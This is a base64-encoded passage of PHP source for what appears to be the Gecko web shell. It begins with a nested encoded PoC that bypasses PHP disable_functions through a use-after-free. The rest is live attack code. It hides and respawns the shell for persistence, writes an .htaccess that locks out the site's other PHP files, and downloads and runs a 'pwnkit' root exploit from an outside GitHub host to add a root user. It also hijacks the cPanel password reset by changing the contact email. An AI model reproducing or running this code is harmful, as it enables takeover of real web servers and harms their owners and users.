SUdOdmJuTjBZVzUwSUdOb1pXTnJDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdrWkdWeVpXWWdJVDBnTUhnM09EWTFOamd6TWpabE5qazJNaWtLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCamIyNTBhVzUxWlRzS0lDQWdJQ0FnSUNBZ0lDQWdmU0JsYkhObElHTnZiblJwYm5WbE93b0tJQ0FnSUNBZ0lDQWdJQ0FnY21WMGRYSnVJQ1JrWVhSaFgyRmtaSElnS3lBa2FTQXFJRGc3Q2lBZ0lDQWdJQ0FnZlFvZ0lDQWdmUW9LSUNBZ0lHWjFibU4wYVc5dUlHZGxkRjlpYVc1aGNubGZZbUZ6WlNna1ltbHVZWEo1WDJ4bFlXc3BJSHNLSUNBZ0lDQWdJQ0FrWW1GelpTQTlJREE3Q2lBZ0lDQWdJQ0FnSkhOMFlYSjBJRDBnSkdKcGJtRnllVjlzWldGcklDWWdNSGhtWm1abVptWm1abVptWm1abU1EQXdPd29nSUNBZ0lDQWdJR1p2Y2lna2FTQTlJREE3SUNScElEd2dNSGd4TURBd095QWthU3NyS1NCN0NpQWdJQ0FnSUNBZ0lDQWdJQ1JoWkdSeUlEMGdKSE4wWVhKMElDMGdNSGd4TURBd0lDb2dKR2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lDUnNaV0ZySUQwZ2JHVmhheWdrWVdSa2Npd2dNQ3dnTnlrN0NpQWdJQ0FnSUNBZ0lDQWdJR2xtS0NSc1pXRnJJRDA5SURCNE1UQXhNREkwTmpSak5EVTNaaWtnZXlBaklFVk1SaUJvWldGa1pYSUtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lISmxkSFZ5YmlBa1lXUmtjanNLSUNBZ0lDQWdJQ0FnSUNBZ2ZRb2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS0NpQWdJQ0JtZFc1amRHbHZiaUJuWlhSZmMzbHpkR1Z0S0NSaVlYTnBZMTltZFc1amN5a2dld29nSUNBZ0lDQWdJQ1JoWkdSeUlEMGdKR0poYzJsalgyWjFibU56T3dvZ0lDQWdJQ0FnSUdSdklIc0tJQ0FnSUNBZ0lDQWdJQ0FnSkdaZlpXNTBjbmtnUFNCc1pXRnJLQ1JoWkdSeUtUc0tJQ0FnSUNBZ0lDQWdJQ0FnSkdaZmJtRnRaU0E5SUd4bFlXc29KR1pmWlc1MGNua3NJREFzSURZcE93b0tJQ0FnSUNBZ0lDQWdJQ0FnYVdZb0pHWmZibUZ0WlNBOVBTQXdlRFprTmpVM05EY3pOemszTXlrZ2V5QWpJSE41YzNSbGJRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUd4bFlXc29KR0ZrWkhJZ0t5QTRLVHNLSUNBZ0lDQWdJQ0FnSUNBZ2ZRb2dJQ0FnSUNBZ0lDQWdJQ0FrWVdSa2NpQXJQU0F3ZURJd093b2dJQ0FnSUNBZ0lIMGdkMmhwYkdVb0pHWmZaVzUwY25rZ0lUMGdNQ2s3Q2lBZ0lDQWdJQ0FnY21WMGRYSnVJR1poYkhObE93b2dJQ0FnZlFvS0lDQWdJR1oxYm1OMGFXOXVJSFJ5YVdkblpYSmZkV0ZtS0NSaGNtY3BJSHNLSUNBZ0lDQWdJQ0FqSUhOMGNsOXphSFZtWm14bElIQnlaWFpsYm5SeklHOXdZMkZqYUdVZ2MzUnlhVzVuSUdsdWRHVnlibWx1WndvZ0lDQWdJQ0FnSUNSaGNtY2dQU0J6ZEhKZmMyaDFabVpzWlNoemRISmZjbVZ3WldGMEtDZEJKeXdnTnprcEtUc0tJQ0FnSUNBZ0lDQWtkblZzYmlBOUlHNWxkeUJXZFd4dUtDazdDaUFnSUNBZ0lDQWdKSFoxYkc0dFBtRWdQU0FrWVhKbk93b2dJQ0FnZlFvS0lDQWdJR2xtS0hOMGNtbHpkSElvVUVoUVgwOVRMQ0FuVjBsT0p5a3BJSHNLSUNBZ0lDQWdJQ0JrYVdVb0oxUm9hWE1nVUc5RElHbHpJR1p2Y2lBcWJtbDRJSE41YzNSbGJYTWdiMjVzZVM0bktUc0tJQ0FnSUgwS0NpQWdJQ0FrYmw5aGJHeHZZeUE5SURFd095QWpJR2x1WTNKbFlYTmxJSFJvYVhNZ2RtRnNkV1VnYVdZZ1ZVRkdJR1poYVd4ekNpQWdJQ0FrWTI5dWRHbG5kVzkxY3lBOUlGdGRPd29nSUNBZ1ptOXlLQ1JwSUQwZ01Ec2dKR2tnUENBa2JsOWhiR3h2WXpzZ0pHa3JLeWtLSUNBZ0lDQWdJQ0FrWTI5dWRHbG5kVzkxYzF0ZElEMGdjM1J5WDNOb2RXWm1iR1VvYzNSeVgzSmxjR1ZoZENnblFTY3NJRGM1S1NrN0Nnb2dJQ0FnZEhKcFoyZGxjbDkxWVdZb0ozZ25LVHNLSUNBZ0lDUmhZbU1nUFNBa1ltRmphM1J5WVdObFd6RmRXeWRoY21kekoxMWJNRjA3Q2dvZ0lDQWdKR2hsYkhCbGNpQTlJRzVsZHlCSVpXeHdaWEk3Q2lBZ0lDQWthR1ZzY0dWeUxUNWlJRDBnWm5WdVkzUnBiMjRnS0NSNEtTQjdJSDA3Q2dvZ0lDQWdhV1lvYzNSeWJHVnVLQ1JoWW1NcElEMDlJRGM1SUh4OElITjBjbXhsYmlna1lXSmpLU0E5UFNBd0tTQjdDaUFnSUNBZ0lDQWdaR2xsS0NKVlFVWWdabUZwYkdWa0lpazdDaUFnSUNCOUNnb2dJQ0FnSXlCc1pXRnJjd29nSUNBZ0pHTnNiM04xY21WZmFHRnVaR3hsY25NZ1BTQnpkSEl5Y0hSeUtDUmhZbU1zSURBcE93b2dJQ0FnSkhCb2NGOW9aV0Z3SUQwZ2MzUnlNbkIwY2lna1lXSmpMQ0F3ZURVNEtUc0tJQ0FnSUNSaFltTmZZV1JrY2lBOUlDUndhSEJmYUdWaGNDQXRJREI0WXpnN0Nnb2dJQ0FnSXlCbVlXdGxJSFpoYkhWbENpQWdJQ0IzY21sMFpTZ2tZV0pqTENBd2VEWXdMQ0F5S1RzS0lDQWdJSGR5YVhSbEtDUmhZbU1zSURCNE56QXNJRFlwT3dvS0lDQWdJQ01nWm1GclpTQnlaV1psY21WdVkyVUtJQ0FnSUhkeWFYUmxLQ1JoWW1Nc0lEQjRNVEFzSUNSaFltTmZZV1JrY2lBcklEQjROakFwT3dvZ0lDQWdkM0pwZEdVb0pHRmlZeXdnTUhneE9Dd2dNSGhoS1RzS0NpQWdJQ0FrWTJ4dmMzVnlaVjl2WW1vZ1BTQnpkSEl5Y0hSeUtDUmhZbU1zSURCNE1qQXBPd29LSUNBZ0lDUmlhVzVoY25sZmJHVmhheUE5SUd4bFlXc29KR05zYjNOMWNtVmZhR0Z1Wkd4bGNuTXNJRGdwT3dvZ0lDQWdhV1lvSVNna1ltRnpaU0E5SUdkbGRGOWlhVzVoY25sZlltRnpaU2drWW1sdVlYSjVYMnhsWVdzcEtTa2dld29nSUNBZ0lDQWdJR1JwWlNnaVEyOTFiR1J1SjNRZ1pHVjBaWEp0YVc1bElHSnBibUZ5ZVNCaVlYTmxJR0ZrWkhKbGMzTWlLVHNLSUNBZ0lIMEtDaUFnSUNCcFppZ2hLQ1JsYkdZZ1BTQndZWEp6WlY5bGJHWW9KR0poYzJVcEtTa2dld29nSUNBZ0lDQWdJR1JwWlNnaVEyOTFiR1J1SjNRZ2NHRnljMlVnUlV4R0lHaGxZV1JsY2lJcE93b2dJQ0FnZlFvS0lDQWdJR2xtS0NFb0pHSmhjMmxqWDJaMWJtTnpJRDBnWjJWMFgySmhjMmxqWDJaMWJtTnpLQ1JpWVhObExDQWtaV3htS1NrcElIc0tJQ0FnSUNBZ0lDQmthV1VvSWtOdmRXeGtiaWQwSUdkbGRDQmlZWE5wWTE5bWRXNWpkR2x2Ym5NZ1lXUmtjbVZ6Y3lJcE93b2dJQ0FnZlFvS0lDQWdJR2xtS0NFb0pIcHBabDl6ZVhOMFpXMGdQU0JuWlhSZmMzbHpkR1Z0S0NSaVlYTnBZMTltZFc1amN5a3BLU0I3Q2lBZ0lDQWdJQ0FnWkdsbEtDSkRiM1ZzWkc0bmRDQm5aWFFnZW1sbVgzTjVjM1JsYlNCaFpHUnlaWE56SWlrN0NpQWdJQ0I5Q2dvZ0lDQWdJeUJtWVd0bElHTnNiM04xY21VZ2IySnFaV04wQ2lBZ0lDQWtabUZyWlY5dlltcGZiMlptYzJWMElEMGdNSGhrTURzS0lDQWdJR1p2Y2lna2FTQTlJREE3SUNScElEd2dNSGd4TVRBN0lDUnBJQ3M5SURncElIc0tJQ0FnSUNBZ0lDQjNjbWwwWlNna1lXSmpMQ0FrWm1GclpWOXZZbXBmYjJabWMyVjBJQ3NnSkdrc0lHeGxZV3NvSkdOc2IzTjFjbVZmYjJKcUxDQWthU2twT3dvZ0lDQWdmUW9LSUNBZ0lDTWdjSGR1Q2lBZ0lDQjNjbWwwWlNna1lXSmpMQ0F3ZURJd0xDQWtZV0pqWDJGa1pISWdLeUFrWm1GclpWOXZZbXBmYjJabWMyVjBLVHNLSUNBZ0lIZHlhWFJsS0NSaFltTXNJREI0WkRBZ0t5QXdlRE00TENBeExDQTBLVHNnSXlCcGJuUmxjbTVoYkNCbWRXNWpJSFI1Y0dVS0lDQWdJSGR5YVhSbEtDUmhZbU1zSURCNFpEQWdLeUF3ZURZNExDQWtlbWxtWDNONWMzUmxiU2s3SUNNZ2FXNTBaWEp1WVd3Z1puVnVZeUJvWVc1a2JHVnlDZ29nSUNBZ0tDUm9aV3h3WlhJdFBtSXBLQ1JqYldSa0tUc0tmUT09JzsNCiAgICAgICAgJGZ1bmdzaVsyOF0oIi50ZXJtLWJ5cGFzcyIsICRmdW5nc2lbMzJdKCRjb25udCkpOw0KICAgIH0NCn0NCg0KDQppZiAoaXNzZXQoJF9HRVRbJ2xvY2tzaGVsbCddKSkgew0KICAgICRjdXJGaWxlID0gdHJpbShiYXNlbmFtZSgkX1NFUlZFUlsiXHg1M1x4NDNceDUyXHg0OVx4NTBceDU0XHg1Zlx4NDZceDQ5XHg0Y1x4NDVceDRlXHg0MVx4NGRceDQ1Il0pKTsNCiAgICAkVG1wTmFtZXMgPSAkZnVuZ3NpWzMxXSgpOw0KICAgIGlmIChmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpICAuICctaGFuZGxlcicpKSAmJiBmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpIC4gJy10ZXh0JykpKSB7DQogICAgICAgIGNtZCgncm0gLXJmICcgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpIC4gJy10ZXh0JykpOw0KICAgICAgICBjbWQoJ3JtIC1yZiAnIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAuICctaGFuZGxlcicpKTsNCiAgICB9DQogICAgbWtkaXIoJFRtcE5hbWVzIC4gIi8uc2Vzc2lvbnMiKTsNCiAgICBjbWQoImNwICRjdXJGaWxlICIgLiAkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpIC4gJy10ZXh0JykpOw0KICAgIGNobW9kKCRjdXJGaWxlLCAwNDQ0KTsNCiAgICAkaGFuZGxlciA9ICcNCjw/cGhwDQpAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwgMCk7DQp3aGlsZSAoVHJ1ZSl7DQogICAgaWYgKCFmaWxlX2V4aXN0cygiJyAuIF9fRElSX18gLiAnIikpew0KICAgICAgICBta2RpcigiJyAuIF9fRElSX18gLiAnIik7DQogICAgfQ0KICAgIGlmICghZmlsZV9leGlzdHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkY3VyRmlsZSAuICciKSl7DQogICAgICAgICR0ZXh0ID0gJyAuICRmdW5nc2lbMzNdIC4gJyhmaWxlX2dldF9jb250ZW50cygiJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSAuICciKSk7DQogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGN1ckZpbGUgLiAnIiwgJyAuICRmdW5nc2lbMzJdIC4gJygkdGV4dCkpOw0KICAgIH0NCiAgICBpZiAoZ2Vja29fcGVybSgiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRjdXJGaWxlIC4gJyIpICE9IDA0NDQpew0KICAgICAgICBjaG1vZCgiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRjdXJGaWxlIC4gJyIsIDA0NDQpOw0KICAgIH0NCiAgICBpZiAoZ2Vja29fcGVybSgiJyAuIF9fRElSX18gLiAnIikgIT0gMDU1NSl7DQogICAgICAgIGNobW9kKCInIC4gX19ESVJfXyAuICciLCAwNTU1KTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGdlY2tvX3Blcm0oJGZsZW5hbWUpew0KICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOw0KfQ0KJzsNCiAgICAkaG5kbGVycyA9ICRmdW5nc2lbMjhdKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgIC4gJy1oYW5kbGVyJykgLiAiIiwgJGhhbmRsZXIpOw0KICAgIGlmICgkaG5kbGVycykgew0KICAgICAgICBjbWQoUEhQX0JJTkFSWSAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgIC4gJy1oYW5kbGVyJykgLiAnID4gL2Rldi9udWxsIDI+L2Rldi9udWxsICYnKTsNCiAgICAgICAgc3VjY2VzcygpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGZhaWxlZCgpOw0KICAgIH0NCn0NCmlmIChpc3NldCgkX1BPU1RbJ2dlY2tvLXVwLXN1Ym1pdCddKSkgew0KICAgICRuYW1hRmlsZW55YSA9ICRfRklMRVNbJ2dlY2tvLXVwbG9hZCddWyduYW1lJ107DQogICAgJHRtcE5hbWUgPSAkX0ZJTEVTWydnZWNrby11cGxvYWQnXVsndG1wX25hbWUnXTsNCiAgICBpZiAoJGZ1bmdzaVsyOV0oJHRtcE5hbWUsICRmdW5nc2lbMF0oKSAuICIvIiAuICRuYW1hRmlsZW55YSkpIHsNCiAgICAgICAgc3VjY2VzcygpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGZhaWxlZCgpOw0KICAgIH0NCn0NCg0KaWYgKGlzc2V0KCRfR0VUWydkZXN0cm95J10pKSB7DQogICAgJERPQ19ST09UID0gJF9TRVJWRVJbIlx4NDRceDRmXHg0M1x4NTVceDRkXHg0NVx4NGVceDU0XHg1Zlx4NTJceDRmXHg0Zlx4NTQiXTsNCiAgICAkQ3VycmVudEZpbGUgPSB0cmltKGJhc2VuYW1lKCRfU0VSVkVSWyJceDUzXHg0M1x4NTJceDQ5XHg1MFx4NTRceDVmXHg0Nlx4NDlceDRjXHg0NVx4NGVceDQxXHg0ZFx4NDUiXSkpOw0KICAgIGlmICgkZnVuZ3NpWzRdKCRET0NfUk9PVCkpIHsNCiAgICAgICAgJGh0YWNjZXNzID0gJw0KPEZpbGVzTWF0Y2ggIlwuKHBocHxwaCp8UGgqfFBIKnxwSCopJCI+DQogICAgRGVueSBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg0KPEZpbGVzTWF0Y2ggIl4oJyAuICRDdXJyZW50RmlsZSAuICd8aW5kZXgucGhwfHdwLWNvbmZpZy5waHB8d3AtaW5jbHVkZXMucGhwKSQiPg0KICAgIEFsbG93IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+DQo8RmlsZXNNYXRjaCAiXC4oanBnfHBuZ3xnaWZ8cGRmfGpwZWcpJCI+DQogICAgQWxsb3cgZnJvbSBhbGwNCjwvRmlsZXNNYXRjaD4nOw0KICAgICAgICAkcHV0X2h0dCA9ICRmdW5nc2lbMjhdKCRET0NfUk9PVCAuICIvLmh0YWNjZXNzIiwgJGh0YWNjZXNzKTsNCiAgICAgICAgaWYgKCRwdXRfaHR0KSB7DQogICAgICAgICAgICBzdWNjZXNzKCk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBmYWlsZWQoKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGZhaWxlZCgpOw0KICAgIH0NCn0NCg0KDQppZiAoaXNzZXQoJF9QT1NUWydzYXZlLWVkaXRvciddKSkgew0KICAgICRzYXZlID0gJGZ1bmdzaVsyOF0oJGZ1bmdzaVswXSgpIC4gIi8iIC4gdW54KCRfR0VUWydmJ10pLCAkX1BPU1RbJ2NvZGUtZWRpdG9yJ10pOw0KICAgIGlmICgkc2F2ZSkgew0KICAgICAgICBzdWNjZXNzKCk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZmFpbGVkKCk7DQogICAgfQ0KfQ0KDQppZiAoaXNzZXQoJF9HRVRbJ2FkbWluZXInXSkpIHsNCiAgICAkVVJMID0gIlx4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg2N1x4NjlceDc0XHg2OFx4NzVceDYyXHgyZVx4NjNceDZmXHg2ZFx4MmZceDc2XHg3Mlx4NjFceDZlXHg2MVx4MmZceDYxXHg2NFx4NmRceDY5XHg2ZVx4NjVceDcyXHgyZlx4NzJceDY1XHg2Y1x4NjVceDYxXHg3M1x4NjVceDczXHgyZlx4NjRceDZmXHg3N1x4NmVceDZjXHg2Zlx4NjFceDY0XHgyZlx4NzZceDM0XHgyZVx4MzhceDJlXHgzMVx4MmZceDYxXHg2NFx4NmRceDY5XHg2ZVx4NjVceDcyXHgyZFx4MzRceDJlXHgzOFx4MmVceDMxXHgyZVx4NzBceDY4XHg3MCI7DQogICAgaWYgKCEkZnVuZ3NpWzNdKCdhZG1pbmVyLnBocCcpKSB7DQogICAgICAgICRmdW5nc2lbMjhdKCJhZG1pbmVyLnBocCIsICRmdW5nc2lbMTFdKCRVUkwpKTsNCiAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnIj4nOw0KICAgIH0NCn0NCg0KDQppZiAoJF9HRVRbJ3Rlcm1pbmFsJ10gPT0gInJvb3QiKSB7DQogICAgaWYgKCEkZnVuZ3NpWzNdKCdwd25raXQnKSAmJiAkZnVuZ3NpWzRdKCRmdW5nc2lbMF0oKSkpIHsNCiAgICAgICAgJGZ1bmdzaVsyOF0oInB3bmtpdCIsICRmdW5nc2lbMTFdKCJodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvUHJpdmVsZWdlLWVzY2FsYXRpb24vcmF3L21haW4vcHdua2l0IikpOw0KICAgICAgICBjbWQoJ2NobW9kICt4IHB3bmtpdCcpOw0KICAgICAgICBlY2hvIGNtZCgnLi9wd25raXQgImlkIiA+IC5tYWQtcm9vdCcpOw0KICAgICAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZD0nIC4gaHgoJGZ1bmdzaVswXSgpKSAuICcmdGVybWluYWw9cm9vdCI+JzsNCiAgICB9DQp9DQoNCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1hY3Rpb24nXSkpIHsNCiAgICAkaXRlbXMgPSAkX1BPU1RbJ2NoZWNrJ107DQogICAgaWYgKCRfUE9TVFsnZ2Vja28tc2VsZWN0J10gPT0gImRlbGV0ZSIpIHsNCiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdCkgew0KICAgICAgICAgICAgJHJlcGwgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRmdW5nc2lbMF0oKSk7IC8vIFVudHVrIFdpbmRvd3MgUGF0aA0KICAgICAgICAgICAgJGZkID0gJHJlcGwgLiAiLyIgLiAkaXQ7DQogICAgICAgICAgICBpZiAoaXNfZGlyKCRmZCkgfHwgaXNfZmlsZSgkZmQpKSB7DQogICAgICAgICAgICAgICAgJHJtZGlyID0gdW5saW5rRGlyKCRmZCk7DQogICAgICAgICAgICAgICAgJHJtZmlsZSA9ICRmdW5nc2lbMjRdKCRmZCk7DQogICAgICAgICAgICAgICAgaWYgKCRybWRpciB8fCAkcm1maWxlKSB7DQogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3MoKTsNCiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRybWRpciAmJiAkcm1maWxlKSB7DQogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3MoKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBmYWlsZWQoKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tc2VsZWN0J10gPT0gJ3VuemlwJykgew0KICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0KSB7DQogICAgICAgICAgICAkcmVwbCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGZ1bmdzaVswXSgpKTsgLy8gVW50dWsgV2luZG93cyBQYXRoDQogICAgICAgICAgICAkZmQgPSAkcmVwbCAuICIvIiAuICRpdDsNCiAgICAgICAgICAgIGlmIChFeHRyYWN0QXJjaGl2ZSgkZmQsICRyZXBsIC4gJy8nKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgc3VjY2VzcygpOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBmYWlsZWQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1zZWxlY3QnXSA9PSAnemlwJykgew0KICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0KSB7DQogICAgICAgICAgICAkcmVwbCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGZ1bmdzaVswXSgpKTsgLy8gVW50dWsgV2luZG93cyBQYXRoDQogICAgICAgICAgICAkZmQgPSAkcmVwbCAuICIvIiAuICRpdDsNCiAgICAgICAgICAgIGlmICgkZnVuZ3NpWzNdKCRmZCkpIHsNCiAgICAgICAgICAgICAgICBjb21wcmVzc1RvWmlwKCRmZCwgcGF0aGluZm8oJGZkLCBQQVRISU5GT19GSUxFTkFNRSkgLiAiLnppcCIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpIHsNCiAgICBpZiAoJF9QT1NUWydyZXNldGNwJ10gPT0gdHJ1ZSkgew0KICAgICAgICAkZW1haWxDcCA9ICRfUE9TVFsncmVzZXRjcCddOw0KICAgICAgICAkcGF0aDBjcCA9IGRpcm5hbWUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk7DQogICAgICAgICRwYXRoY3AgPSAkcGF0aDBjcCAuICIvLmNwYW5lbC9jb250YWN0aW5mbyI7DQogICAgICAgICRjb250YWN0aW5mbyA9ICcNCiJlbWFpbCIgOiAiJyAuICRlbWFpbENwIC4gJyINCiAgICAgICAgJzsNCiAgICAgICAgaWYgKCRmdW5nc2lbM10oJHBhdGhjcCkpIHsNCiAgICAgICAgICAgICRmdW5nc2lbMjhdKCRwYXRoY3AsICRjb250YWN0aW5mbyk7DQogICAgICAgICAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfU0NIRU1FJ10gLiAnOi8vJyAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJzoyMDgzL3Jlc2V0cGFzcz9zdGFydD0xIj4nOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZmFpbGVkKCk7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCRfUE9TVFsnY3JlYXRlX2ZvbGRlciddID09IHRydWUpIHsNCiAgICAgICAgJE5hbWFGb2xkZXIgPSAkZnVuZ3NpWzEyXSgkX1BPU1RbJ2NyZWF0ZV9mb2xkZXInXSk7DQogICAgICAgIGlmICgkTmFtYUZvbGRlcikgew0KICAgICAgICAgICAgc3VjY2VzcygpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZmFpbGVkKCk7DQogICAgICAgIH0NCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnY3JlYXRlX2ZpbGUnXSA9PSB0cnVlKSB7DQogICAgICAgICRuYW1hRmlsZSA9ICRmdW5nc2lbMTNdKCRfUE9TVFsnY3JlYXRlX2ZpbGUnXSk7DQogICAgICAgIGlmICgkbmFtYUZpbGUpIHsNCiAgICAgICAgICAgIHN1Y2Nlc3MoKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGZhaWxlZCgpOw0KICAgICAgICB9DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ3JlbmFtZUZpbGUnXSA9PSB0cnVlKSB7DQogICAgICAgICRyZW5hbWVGaWxlID0gJGZ1bmdzaVsxNV0odW54KCRfR0VUWydyZSddKSwgJF9QT1NUWydyZW5hbWVGaWxlJ10pOw0KICAgICAgICBpZiAoJHJlbmFtZUZpbGUpIHsNCiAgICAgICAgICAgIHN1Y2Nlc3MoKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGZhaWxlZCgpOw0KICAgICAgICB9DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2NoRmlsZSddKSB7DQogICAgICAgICRjaEZpbGVzID0gJGZ1bmdzaVszMF0odW54KCRfR0VUWydjaCddKSwgJF9QT1NUWydjaEZpbGUnXSk7DQogICAgICAgIGlmICgkY2hGaWxlcykgew0KICAgICAgICAgICAgc3VjY2VzcygpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZmFpbGVkKCk7DQogICAgICAgIH0NCiAgICB9IGVsc2UgaWYgKGlzc2V0KCRfUE9TVFsnYWRkLXVzZXJuYW1lJ10pICYmIGlzc2V0KCRfUE9TVFsnYWRkLXBhc3N3b3JkJ10pKSB7DQogICAgICAgIGlmICghJGZ1bmdzaVszXSgncHdua2l0JykpIHsNCiAgICAgICAgICAgIGNtZCgnd2dldCBodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvUHJpdmVsZWdlLWVzY2FsYXRpb24vcmF3L21haW4vcHdua2l0IC1PIHB3bmtpdCcpOw0KICAgICAgICAgICAgY21kKCdjaG1vZCAreCBwd25raXQnKTsNCiAgICAgICAgICAgIGNtZCgnLi9wd25raXQgImlkIiA+IC5tYWQtcm9vdCcpOw0KICAgICAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnJnJvb3Rpbmc9VHJ1ZSI+JzsNCiAgICAgICAgfSBlbHNlIGlmICgkZnVuZ3NpWzNdKCcubWFkLXJvb3QnKSkgew0KICAgICAgICAgICAgJHJlc3BvbnNlID0gJGZ1bmdzaVsxMV0oJy5tYWQtcm9vdCcpOw0KICAgICAgICAgICAgJHJfdGV4dCA9IGV4cGxvZGUoIiAiLCAkcmVzcG9uc2UpOw0KICAgICAgICAgICAgaWYgKCRyX3RleHRbMF0gPT0gInVpZD0wKHJvb3QpIikgew0KICAgICAgICAgICAgICAgICR1c2VybmFtZSA9ICRfUE9TVFsnYWRkLXVzZXJuYW1lJ107DQogICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJF9QT1NUWydhZGQtcGFzc3dvcmQnXTsNCiAgICAgICAgICAgICAgICBjbWQoJy4vcHdua2l0ICJ1c2VyYWRkICcgLiAkdXNlcm5hbWUgLiAnIDsgZWNobyAtZSAiJyAuICRwYXNzd29yZCAuICdcbicgLiAkcGFzc3dvcmQgLiAnIiB8IHBhc3N3ZCAnIC4gJHVzZXJuYW1lIC4gJyInKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnJmFkZHVzZXI9ZmFpbGVkIj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBlbHNlIGlmICgkX1